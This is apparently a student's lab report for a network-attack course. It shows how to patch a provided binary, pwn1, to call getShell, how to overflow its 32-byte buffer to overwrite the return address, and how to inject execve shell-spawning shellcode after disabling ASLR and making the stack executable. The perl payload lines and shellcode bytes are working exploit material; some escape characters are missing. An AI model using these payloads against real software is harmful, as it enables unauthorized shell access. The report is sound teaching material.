2019-2020-2 20175212童皓桢《网络对抗技术》 Exp1 PC平台逆向破解

2019-2020-2 20175212童皓桢《网络对抗技术》

Exp1 PC平台逆向破解

目录

• 1. 实验目标

• 2. 实验内容

  • 2.1 直接修改程序机器指令，改变程序执行流程
  • 2.2 通过构造输入参数，造成BOF攻击，改变程序执行流
  • 2.3 注入Shellcode并执行

• 3、答老师问

  • 3.1 实验收获与感想
  • 3.2 什么是漏洞？漏洞有什么危害？

• 4、遇到的问题及其解决方法

• 5、参考资料

1. 实验目标

• 实验一的实践对象是一个名为pwn1的linux可执行文件。
• 该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。
• 实验目标为：使程序执行另一个代码片段getshell

---

• 本实验的三个实践内容为：
  1、 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
  2、利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
  3、注入一个自己制作的shellcode并运行这段shellcode。
• 分别对应现实攻击中的：
  1.运行原本不可访问的代码片段
  2.强行修改程序执行流
  3.注入运行任意代码。

2. 实验内容

2.1 直接修改程序机器指令，改变程序执行流程

• 知识要求：Call指令，EIP寄存器，指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具
• 学习目标：理解可执行文件与机器指令
• 进阶：掌握ELF文件格式，掌握动态技术
• 具体步骤：

  • 利用共享文件夹，得到老师提供的pwn1文件。利用objdump -d pwn1 | more命令进行反汇编，分页显示得到以下结果：
    

  • 图中地址为080484并的指令为call 8048491

    • 是说这条指令将调用位于地址8048491处的foo函数；

    • 其对应机器指令为“e8 d7ffffff”，e8即跳转之意。

      • 本来正常流程，此时此刻EIP的值应该是下条指令的地址，即80484ba，但如一解释e8这条指令呢，CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41，41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值。
        

  • main函数调用foo，对应机器指令为“e8 d7ffffff”

    • 那我们想让它调用getShell，只要修改“d7ffffff”为，"getShell-80484ba"对应的补码就行。
    • 用Windows计算器，直接 47d-4ba就能得到补码，是c3ffffff。

  • 下面我们就修改可执行文件，将其中的call指令的目标地址由d7ffffff变为c3ffffff。

    • 用cp pwn1 pwn2复制文件，保留修改前文件；之后用vi编辑pwn2
      

    • 由于可执行文件已被汇编为机器代码，我们无法看懂（如下图）。因此我们在vi中输入Esc+:%!xxd将它切换为16进制显示
      

    • 输入/e8 d7，查找该代码的位置

      

    • 修改d7为c3
      

    • 用命令:%!xxd -r转换16进制为原格式，之后存盘退出vi
      

    • 输入objdump -d pwn2 | more反汇编一下，call指令已经调用getShell
      

    • 运行pwn2，得到shell提示符#
      

2.2 通过构造输入参数，造成BOF攻击，改变程序执行流

知识要求：堆栈结构，返回地址
学习目标：理解攻击缓冲区的结果，掌握返回地址的获取
进阶：掌握ELF文件格式，掌握动态技术
步骤：

• 输入objdump -d pwn1 | more反汇编pwn1

  • 函数getShell，我们的目标时触发这个函数

  • 该可执行文件正常运行时调用函数foo，这个函数有Buffer overflow漏洞
    

  • 这里读入字符串，但系统只预留了32字节的缓冲区。
    

  • 上面的call调用foo,同时在堆栈上压上返回地址值:80484ba

• 确认输入字符串哪几个字符会覆盖到返回地址

  • 使用命令gdb pwn1调试程序
  • 输入试探性的字符串1111111122222222333333334444444412345678，发生段错误产生溢出
    
  • 使用info r查看寄存器eip，发现堆栈上的返回地址已被修改
    

• 确认用什么值来覆盖返回地址

  • 我们将之前已经得到的，getShell的地址0x0804847d，将其后面替换掉。
  • 由于是小端模式，我们输入11111111222222223333333344444444x7dx84x04x08

• 构造输入字符串

  • 由为我们没法通过键盘输入x7dx84x04x08这样的16进制值，所以先生成包括这样字符串的一个文件。
  • x0a表示回车，如果没有的话，在程序运行时就需要手工按一下回车键。
  • 我们输入命令perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input来生成该文件。
  • 用16进制查看指令xxd查看input文件
    
  • 通过管道符|，将input文件作为pwn1的输入
    

2.3 注入Shellcode并执行

• 准备一段Shellcode

  • 知识要求
    • shellcode就是一段机器指令（code）
      • 通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe）
      • 所以这段机器指令被称为shellcode。
      • 在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。

• 准备工作

  • 使用命令apt-get install execstack命令安装execstack软件包

  • 之后执行如下命令段

    root@20175212thz:/home/kali/20175212thz/exp/exp1# execstack -s pwn1	//设置堆栈可执行
    root@20175212thz:/home/kali/20175212thz/exp/exp1# execstack -q pwn1	//查询文件的堆栈是否可执行
    X pwn1
    root@20175212thz:/home/kali/20175212thz/exp/exp1#  more /proc/sys/kernel/randomize_va_space
    2
    root@20175212thz:/home/kali/20175212thz/exp/exp1# echo "0" > /proc/sys/kernel/randomize_va_space	//关闭地址随机化
    root@20175212thz:/home/kali/20175212thz/exp/exp1# more /proc/sys/kernel/randomize_va_space
    0
    

    

• 构造要注入的payload

  • Linux下有两种基本构造攻击buf的方法：

    • retaddr+nop+shellcode
    • nop+shellcode+retaddr

  • 因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面。

  • 简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边

  • 我们这个buf够放这个shellcode了

  • 结构为：nops+shellcode+retaddr。

    • nop一为是了填充，二是作为“着陆区/滑行区”。
    • 我们猜的返回地址只要落在任何一个nop上，自然会滑到我们的shellcode

  • 首先利用十六进制编辑指令perl构造一个字符串，写入到input_shellcode文件中用作文件执行时的输入。在这段字符串中，末尾的x4x3x2x1会覆盖到堆栈上的返回地址。（注意最后一个字符不要设置成x0a，否则会影响接下来的操作）

    perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3
    x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
    

  • 接下来我们来确定x4x3x2x1到底该填什么

    • 打开一个终端注入这段攻击buf：

      (cat input_shellcode;cat) | ./pwn   //注意这时先不要按回车，否则后续找不到该进程
      

      

    • 用gdb调试pwn1，由下图知进程号为5048

    • 输入attch5048调试
      

    • 输入disassemble foo查看到ret的地址为0x080484ae

    • 输入break *0x080484ae在0x080484ae处设置断点。

    • 在之前的终端中按下回车，然后在调试的终端中输入c继续运行。
      

    • 输入info r esp查看栈顶指针所在的位置，并查看改地址存放的数据：

    • 以上可以发现，0xffffd6dc存放的数据就是01020304，即找到了返回地址。shellcode地址就是 0xffffd6dc+4，即0xffffd6e0.

  • 最后修改注入地址即可

    • 修改命令为：

      perl -e 'print "A" x 32;print "xe0xd6xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
      

      

    • 执行命令(cat input_shellcode;cat) | ./pwn1，攻击成功，行使shell功能。
      

3、答老师问

3.1 实验收获与感想

本次实验主要在汇编的层面进行操作，也是第一次接触，相较于sql注入这种攻击方式算是更加底层的方法。第一次实验操作难度上不会很大，也是得益于老师细致的讲解指导以及学长、同学们的线上相助，遇到的问题也总能及时解决。这次实验使我对于缓冲区溢出攻击有了更加直观，细致的认识，学会了如何从汇编代码入手分析进行攻击。总之在发现问题和解决问题的路上受益良多，望今后也能如此。

3.2 什么是漏洞？漏洞有什么危害？

答：漏洞是指计算机软硬件设计或使用过程中产生的，能够被不法分子利用，从而对计算机系统产生未授权的访问使用或是恶意破坏的一些安全隐患。漏洞可能产生的危害包括但不限于：非法访问、信息泄露、系统损坏等等。

4、遇到的问题及其解决方法

• 4.1 问题一： 运行pwn2时提示“file fomat not recognied”
  
  • 解决方法：修改完代码后记得用命令:%!xxd -r转换16进制为原格式即可。
    

---

• 4.2 问题二：运行pwn1和pwn2时提示权限不够，即使进入root仍然权限不够。
  

  • 解决方法：使用命令chmod 777 pwn2，赋予可读可写可执行的权限，即可正常运行。

  

5、参考资料

https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x11_MAL_逆向与Bof基础.md
https://www.cnblogs.com/jxxydwt1999/p/12337575.html#_label1
https://www.cnblogs.com/zxy20175227/p/12395726.html#j2
https://www.cnblogs.com/cheneyboon/p/11444253.html